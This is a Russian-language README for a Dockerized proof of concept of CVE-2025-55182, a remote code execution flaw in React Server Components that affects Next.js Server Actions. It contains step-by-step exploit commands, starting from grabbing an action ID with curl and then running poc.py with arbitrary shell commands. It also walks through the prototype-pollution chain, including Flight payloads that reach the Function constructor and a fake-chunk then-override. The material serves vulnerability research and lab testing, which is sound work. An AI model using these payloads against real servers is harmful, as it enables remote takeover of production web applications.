
Dockerized proof-of-concept для CVE-2025-55182, критический RCE в React Server Components через prototype pollution, с автоматизированными exploit scripts и уязвимым тестовым окружением Next.js.
Этот репозиторий содержит контейнеризованную proof of concept для CVE-2025-55182, критической уязвимости удаленного выполнения кода в React Server Components (RSC), затрагивающей приложения Next.js, использующие Server Actions.
Оригинальная proof of concept и анализ уязвимости были созданы msanft. Этот репозиторий расширяет их работу, предоставляя контейнеризованную тестовую среду для упрощения тестирования и демонстрации.
requests (pip install requests)Запустите уязвимый сервер Next.js:
docker compose up --build -d
Дождитесь запуска сервера (проверьте логи с помощью docker compose logs -f nextjs-server)
Запустите эксплойт:
# Автоматизированный скрипт (рекомендуется)
./exploit-docker.sh
# Или вручную
ACTION_ID=$(curl -s http://localhost:3000 | grep -o '[a-f0-9]\{40\}' | head -1)
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
Проверьте, что эксплойт сработал:
docker compose exec nextjs-server ls -la /tmp/rce_test
# Создать файл
python3 poc.py http://localhost:3000 "$ACTION_ID" "touch /tmp/rce_test"
# Записать в файл
python3 poc.py http://localhost:3000 "$ACTION_ID" "echo 'RCE_SUCCESS' > /tmp/rce_output"
# Узнать текущего пользователя
python3 poc.py http://localhost:3000 "$ACTION_ID" "whoami > /tmp/rce_user"
# Проверить результаты
docker compose exec nextjs-server cat /tmp/rce_output
docker compose exec nextjs-server cat /tmp/rce_user
nextjs (UID 1001) внутри контейнераЭтот репозиторий включает полную Docker-настройку для тестирования уязвимости:
docker-compose.yml — конфигурация Docker Composetest-server/ — уязвимое приложение Next.jstest-server/Dockerfile — продакшн Dockerfiletest-server/Dockerfile.dev — Dockerfile для разработки (опционально)Уязвимый сервер работает на Next.js 16.0.6 с простым Server Action, который можно эксплуатировать.
poc.py — скрипт proof of concept на Python (оригинал от msanft, с исправлением экранирования кавычек)exploit-docker.sh — автоматизированный скрипт эксплойта для Docker-средыDOCKER_SETUP.md — подробная документация по настройке Docker# Остановить контейнер
docker compose down
# Удалить всё (включая тома)
docker compose down -v
Детальный анализ уязвимости, цепочка эксплуатации и информация об исправлении из оригинального исследования приведены ниже.
Эта уязвимость позволяет выполнение произвольного кода (RCE) в React Server Functions, например, как они реализованы в Next.js, через небезопасные ссылки на прототипы.
Я не эксперт в React или Next.js, поэтому относитесь ко всей информации здесь с осторожностью. Кроме того, я всё ещё нахожусь в процессе анализа, так что то, что я описываю ниже как "уязвимость", может быть лишь маленькой частью полной цепочки.
React предлагает Server Functions[^1], которые можно рассматривать как своего рода RPC через HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или для выполнения аутентифицированных запросов, для которых у клиента нет учетных данных.
React использует так называемый React Flight Protocol[^2] для сериализации значений, передаваемых Server Functions.
Клиент передаёт "чанки" (chunks) на сервер, например, через form data:
files = {
"0": (None, '["$1"]'),
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
"2": (None, '{"fruitName":"cherry"}'),
}
Как показано, они могут содержать ссылки друг на друга. Приведённая выше полезная нагрузка десериализуется на сервере в:
{ object: 'fruit', name: 'cherry' }
Формат сам по себе немного сложнее и позволяет более сложную сериализацию и десериализацию, но это даёт базовое понимание для реальной уязвимости.
До этого коммита[^3] при обходе чанков для разрешения ссылок, например, при получении fruitName из чанка 2 в примере выше, React не проверял, установлен ли запрашиваемый ключ в объекте. Это позволяло получить прототип объекта[^4].
Это можно продемонстрировать такой полезной нагрузкой:
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
Которая десериализуется в конструктор функций[^5]:
[Function: Function]
Когда чанк с ID 0 — не массив, а объект, мы можем установить ключ then в конструктор функций. Затем объект возвращается функцией decodeReplyFromBusboy и ожидается (awaited) Next.js:
// action-handler.ts:888 (pre-patch)
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
Когда возвращается thenable, await в вызывающем коде вызовет его. Это и происходит с такой полезной нагрузкой:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Что приводит к ошибке:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Ошибка выглядит так, потому что V8 вызывает ожидаемую (awaited) функцию с внутренними функциями resolve и reject, которые, будучи приведёнными к строке (toString), сериализуются примерно так:
function () { [native code] }
Поскольку мы можем тривиально получить конструктор Function, прямой путь — найти call-gadget, который вызывает конструктор с контролируемым пользователем значением (т.е., кодом функции в виде строки), а затем вызывает возвращённую функцию.
Есть несколько мест, которые могут вызвать конструктор функций, например, resolveServerReference, где id — контролируемый объект, lastIndexOf может быть переопределён для возврата контролируемой строки (например, через Array.prototype.join), а slice может быть переопределён на конструктор функций. Однако это место не работает, потому что второй вызов .slice() передаёт число в качестве первого аргумента, которое, насколько мне известно, никогда не может быть обработано конструктором функций.
Здесь приходит блестящая идея от maple3142[^7]. Когда getChunk берёт чанк с ID 0 как корневую ссылку для начала разрешения цепочки ссылок, этот же самый чанк может разрешиться в поддельный "фейковый чанк".
Мы можем сослаться на поддельный чанк 0 в чанке 1 с помощью синтаксиса $@, который возвращает "сырой" чанк, а не его разрешённое значение:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
Комбинируя это с нашей перезаписью then выше, мы можем создать нечто подобное:
files = {
"0": (None, '{"then": "$1:__proto__:then"}'),
"1": (None, '"$@0"'),
}
Здесь чанк 0 перезаписывает свой собственный .then() на .then() своего собственного сырого представления чанка. Проще говоря, мы перезаписываем свой собственный .then() на Chunk.prototype.then, который существует, поскольку Chunk являются thenable:
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this);
}
// ...
С приведённой выше полезной нагрузкой Chunk.prototype.then в конечном итоге вызывается с поддельным чанком с ID 0.